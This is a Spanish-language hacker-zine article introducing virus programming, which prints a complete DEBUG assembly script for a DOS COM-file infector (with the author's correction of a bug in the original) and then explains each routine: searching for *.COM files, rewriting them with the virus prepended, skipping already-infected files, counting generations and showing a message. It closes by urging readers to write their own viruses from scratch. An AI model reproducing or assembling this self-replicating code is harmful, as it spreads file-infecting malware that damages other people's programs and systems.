IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 06. INTRODUCCION A LA PROGRAMACION DE VIRUS o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Hola, soy Episiarca y voy a introducir un poco el tema de la programacion de virus para aquellos que no saben mucho sobre ensamblador y Virus. Los Virus se programan en ensamblador, por eso mismo es necesario un conocimiento minimo de este lenguaje. Por ahora es suficiente con conocer las instrucciones basicas como las de salto, comparacion y movimiento de datos. Todo el mundo sabe lo que es un Virus, pero veamos uno por dentro :-). El primer virus lo vi en una revista ya desaparecida, Amstrad User. Ellos publicaron un peque€o Virus que luego seria conocido como el Virus Amstrad, al parecer intentaron colarlo en los ordenadores de la revista :-?. Por cierto, el Virus es de lo mas tonto, solo lo voy a utilizar como ejemplo, pero es muy malo como Virus, no restaura la fecha del fichero, no comprueba los atributos de lectura/escritura, no mira si el tama€o del fichero es muy grande ... El script original contenia un error, el que voy a poner es correcto. Para obtener un fichero ejecutable basta con poner: DEBUG < V1RV.DBG --------------------------------------------------------------------------- a JMP 0116 NOP DEC CX PUSH SI ADD [BP+SI],CH CS: INC BX DEC DI DEC BP ADD [BX+04],CL ADD [BX+SI],AL ADD [BX+SI],AX ADD [BX+SI],AL ADD [BX+SI],AL MOV AX,CS ADD AX,1000 MOV ES,AX INC BYTE PTR [0105] MOV SI,0100 XOR DI,DI MOV CX,014F REPZ MOVSB MOV DX,025F MOV AH,1A INT 21 MOV DX,0106 MOV CX,0016 MOV AH,4E INT 21 JB 019E MOV DX,027D MOV AX,3D02 INT 21 MOV [0114],AX MOV BX,AX PUSH ES POP DS MOV DX,034F MOV CX,FFFF MOV AH,3F INT 21 ADD AX,034F CS: MOV [0112],AX DS: CMP WORD PTR [0352],5649 JZ 0188 XOR CX,CX MOV DX,CX CS: MOV BX,[0114] MOV AX,4200 INT 21 JB 0188 MOV DX,0000 CS: MOV CX,[0112] CS: MOV BX,[0114] MOV AH,40 INT 21 CS: MOV BX,[0114] MOV AH,3E INT 21 PUSH CS POP DS MOV AH,4F MOV DX,025F INT 21 JB 019E JMP 013E MOV DX,0080 MOV AH,1A INT 21 CMP BYTE PTR [0105],05 JB 0207 MOV AX,0040 MOV DS,AX MOV AX,[006C] PUSH CS POP DS AND AX,0001 JZ 0207 MOV DX,01C4 MOV AH,09 INT 21 INT 20 INC BP DB 6E AND [SI+75],DH AND [BX+SI+43],DL AND [BX+SI+61],CH JNS 01F1 JNZ 0241 AND [BP+69],DH JB 024D JNB 01FA PUSH DX PUSH SI XOR [SI],BP AND [BX+DI+20],BH XOR BYTE PTR [BP+DI+74],61 AND [DI+73],AH AND [BP+DI+75],DH AND [BX+DI+75],DH DB 69 DB 6E JZ 0253 AND [BX+65],AH DB 6E DB 65 JB 025A DB 63 DB 69 MOV [206E],AL ADD [BX+SI],SP AND [BX+SI],AH AND [BX+SI],AH OR CL,[DI] AND AL,BE AND AL,02 MOV CX,002B XOR DI,DI REPZ MOVSB XOR DI,DI CS: MOV WORD PTR [010E],0000 CS: MOV [0110],ES CS: JMP FAR [010E] PUSH DS POP ES MOV SI,044F CMP BYTE PTR [0105],01 JNZ 0234 SUB SI,0200 MOV DI,0100 MOV CX,FFFF SUB CX,SI REPZ MOVSB CS: MOV WORD PTR [0100],0100 CS: MOV [0102],DS CS: JMP FAR [0100] INT 20 n v1rv.com r cx 151 w q --------------------------------------------------------------------------- Lo mejor que puedes hacer ahora es ejecutar el Virus paso a paso con el propio DEBUG. Ejecuta el DEBUG, cuando salga el cursor (-) indicale el nombre del fichero a cargar (n v1rv.com) y leelo (l). En el registro BX,CX tienes el tama€o en bytes del programa cargado, para ver el contenido de los registros utiliza el comando (r). Fijate que BX vale 0000 y CX vale 0151, es decir, el tama€o del programa es de 337 bytes (el valor de CX esta en hexa). Utilizaremos las ordenes (t) y (p) para tracear el Virus, la diferencia entre (t) y (p) es que la primera ejecuta el programa instruccion a instruccion, metiendose dentro de las CALL y de las INT, mientras que (p) ejecuta de un golpe las CALL y las INT. Para una instruccion cualquiera (exceptuado CALL/INT) las dos ordenes se pueden usar indistintamente. Empecemos con la (p), se ha producido un salto a la direccion 116 (en hexa). JMP 116 ... ... 116: MOV AX,CS ADD AX,1000 MOV ES,AX INC BYTE PTR [0105] MOV SI,0100 XOR DI,DI MOV CX,014F REPZ MOVSB Las tres primeras instrucciones tras el salto ponen en ES la direccion del segmento que dista 64Kb del actual. Espero que comprendas esto :-)), si no es que hay que pegar un repaso a la segmentacion de los procesadores Intel. * REPASO: Los procesadores Intel utilizan un esquema basado en la segmentacion * para direccionar la memoria. El esquema Intel es diferente a la segmentacion * clasica. Cada semento es de 64Kb, pero no estan de forma consecutiva en la * memoria, estan sobrelapados, distando cada comienzo de segmento un parrafo * (16 bytes). Es decir, si tenemos una direccion SEG:OFF, el siguiente segmento * comienza en (SEG+01h):OFF o en SEG:(OFF+10h). Date cuenta que lienalmente es * la misma direccion: (SEG+01h)*10h+OFF = SEG*10h+10h+OFF = SEG*10h+(OFF+10h) * = SEG:(OFF+10h). * Bueno... seguro que sabes que la direccion segmentada se pasa a lineal si * multiplicas el segmento por 16 (10h) y le sumas el desplazamiento. La cuarta incrementa un contador, simplemente recuerda por ahora que esta en la direccion DS:0105h, luevo veremos para que lo usa. El resto, 5 instrucciones, copian el virus en el segmento calculado. La instruccion REPZ MOVSB copia CX bytes desde DS:SI a ES:DI. Como DS apunta al mismo segmento que CS y SI vale 100h, estamos compiando CS:100h que es la direccion del principio del Virus. El registro CX vale 14fh, es decir, el tama€o del Virus, ya que los dos ultimos bytes (CDh 20h) corresponden al codigo del programa que hemos infectado. La direccion de destino es ES:DI, el valor de ES es conocido, DI vale 0000h. Pasamos a ver las 3 siguientes. MOV DX,025F MOV AH,1A INT 21 Esta es una interrupcion 21h con servicio 1ah, para saber que significa podemos consultar las listas de Ralf Brown. Este servicio se encarga de establecer la direccion del DTA en DS:DX. El DTA es una zona de memoria que por defecto se encuentra en DS:0080h (PSP), se usa como registro para contener informacion que devuelven otros servicios, como el de buscar ficheros por un directorio. El tama€o maximo del DTA va a ser de 128 bytes... un momento... ahora estamos estableciendo una zona de memoria que va ha ser escrita por otros servicios en la direccion DS:025fh 8-O !!!, ­ pero si en esa direccion puede existir parte del programa infectado !, XDD, tranqui, ya veremos como solucionar esto. MOV DX,0106 MOV CX,0016 MOV AH,4E INT 21 JB 019E Esta funcion hace uso del DTA, es la encargada de buscar ficheros, junto a su hermana el servicio 4fh. Veamos, en CX espera los atributos para la busqueda, su patron es el siguiente: 76543210 00XXXXXX El 7 y 6 estan reservados, 5 es el bit de archivo, 4 de subdirectorio, el bit 3 es el de la etiqueta de volumen, el 2 archivo de sistema, 1 archivo oculto y 0 el de solo lectura. Pues bien, el servicio 4eh pide que especifiquemos que atributos debe tener los ficheros que vamos a buscar, 16h en binario es 10110, es decir, busca los ficheros ocultos, de sistema y subdirectorios, aparte de los normales. [ Yo considero que buscar los subdirectorios es un error del programa, ya que no hay uso de los servicios de directorio ]. En DS:DX se debe almacenar el patron de busqueda en una cadena ASCIIZ (termina en 00h). Para ver el patron que usa pongamos (d ds:106)... :-) '*.COM',00h. Si no encuentra ninguno devuelve el bit del carry a 1, el programa salta a 019eh. El servicio 4eh/4fh almacena en la DTA la siguiente info: Bytes Finalidad ----- --------- 0-20 Reservados 21 Atributo del fichero 22-23 Hora del fichero: Bits 0bh-0fh = horas (0-23) Bits 05h-0ah = minutos (0-59) Bits 00h-04h = incrementos de 2 segundos (0-29) 24-25 Fecha de fichero: Bits 09h-0fh = a€o (respecto a 1980) Bits 05h-08h = mes (1-12) Bits 00h-04h = dia (1-31) 26-29 Tama€o del fichero 30-42 Nombre y extension en ASCIIZ Bien, supongamos que encuentra un fichero '*.COM', en ese caso ejecutaria la siguiente seccion de codigo: MOV DX,027D MOV AX,3D02 INT 21 MOV [0114],AX MOV BX,AX Es decir, abre el fichero de nombre DS:DX para lectura/escritura. Como ves, DX apunta a la zona del DTA referente al nombre del fichero :-). A la vuelta, este servicio pone en AX el file-handle del fichero, lo guarda en DS:0114h y lo pone en BX. PUSH ES POP DS MOV DX,034F MOV CX,FFFF MOV AH,3F INT 21 ADD AX,034F CS: MOV [0112],AX Las dos primeras instrucciones ponen DS igual a ES y a continuacion lee todo el fichero COM en DS:DX. Pone el codigo del programa al final del Virus, dejando 0200h bytes de espacio. Precisamente este espacio lo deja el Virus para poder almacenar la DTA en la siguiente infeccion. El numero de bytes leido se devuelve en AX, valor al que le suma 034fh, que es el tama€o del virus mas esos 0200h. El tama€o total lo almacena en CS:0112h. DS: CMP WORD PTR [0352],5649 JZ 0188 El Virus, para no reinfectar un programa, mira el cuarto y el quinto byte, si valen I y V respectivamente quiere decir que el programa ya tenia el Virus y no lo infecta otra vez. XOR CX,CX MOV DX,CX CS: MOV BX,[0114] MOV AX,4200 INT 21 JB 0188 Este trozo hace que el puntero de lectura/escritura del fichero apunte de nuevo al principio del mismo, ya que reescriviremos todo el programa. Recuerda que en la direccion 0114h tenemos el file-handle del fichero. MOV DX,0000 CS: MOV CX,[0112] CS: MOV BX,[0114] MOV AH,40 INT 21 CS: MOV BX,[0114] MOV AH,3E INT 21 Aqui esta la verdadera infeccion :-), escribe el fichero desde el principio con el nuevo tama€o y al final lo cierra. Ahora ya tenemos el programa infectado, pasemos al siguiente :-). PUSH CS POP DS MOV AH,4F MOV DX,025F INT 21 JB 019E JMP 013E Esto restaura el valor de DS, para que apunte a CS. Luego continua la busqueda de los ficheros (4fh). Curioso error, pone en DX el valor 025fh que es donde se encuentra la DTA, pero eso no hace falta (tonto, desperdicia preciosos bytes). Si encuentra algun otro fichero salta a la direccion 013eh y comienza de nuevo todo el proceso, si no encuentra mas fichero salta a la 019eh. MOV DX,0080 MOV AH,1A INT 21 Si no encuentra mas ficheros reestablece la direccion de la DTA. Esto es importante. CMP BYTE PTR [0105],05 JB 0207 MOV AX,0040 MOV DS,AX MOV AX,[006C] PUSH CS POP DS AND AX,0001 JZ 0207 MOV DX,01C4 MOV AH,09 INT 21 INT 20 šRecuerdas que al principio el Virus incremento el byte de la 0105h?, es un contador de reproducciones, indica cuantas veces se ha reproducido el Virus. Ahora lo compara con 5, si es menor no hace nada, pero si es igual o mayor mira el bit 0 del contador de clicks del sistema (0040h:006ch), si vale 1 imprime un mensajito muy tonto, para verlo pon (d1c4), dice lo siguiente: 'En tu PC hay un virus RV1, y esta es su quinta generacion', acompa€ado del caracter 01h (una carita), al final sale al DOS. MOV SI,0224 MOV CX,002B XOR DI,DI REPZ MOVSB XOR DI,DI CS: MOV WORD PTR [010E],0000 CS: MOV [0110],ES CS: JMP FAR [010E] Ya estamos cerca del final, desde ahora el Virus se va a encargar de preparar la memoria para poder ejecutar el programa que tiene adosado. Para ello copia un mini programa de 2bh bytes, que comienza en cs:0224, al principio del nuevo segmento. Por ultimo pega un salto a ES:0000h, es decir, al mini programa. PUSH DS POP ES MOV SI,044F CMP BYTE PTR [0105],01 JNZ 0234 SUB SI,0200 MOV DI,0100 MOV CX,FFFF SUB CX,SI REPZ MOVSB CS: MOV WORD PTR [0100],0100 CS: MOV [0102],DS CS: JMP FAR [0100] Este es el programa que pasa a ejecutar. Primero iguala los registros de datos y extra con el de codigo. Ahora viene un detalle que me hace sospechar que los programadores del virus fueron los de la revista: ajusta SI dependiendo de si es su primera reproduccion o no (en la revista publicaron uno en su primera reproduccion, es decir, nunca se habia reproducido). Lo principal de este trozo es que copia el codigo del programa infectado al principio del segmento, 0100h, y salta a la primera instruccion del programa. Este se ejecuta como si nada. Bueno esto es todo. Hemos analizado con detenimiento un Virus muy simple y con fallos en su programacion. Existe otra tecnica para infectar programa COM que con un poco de suerte la podremos ver en otra entrega. Infectar los EXE no es mucho mas dificil :-). Por ultimo, no me seais lamerillos y si programais un Virus hacedlo desde el principio, no os conformeis con arreglar este fuente }:-). Episiarca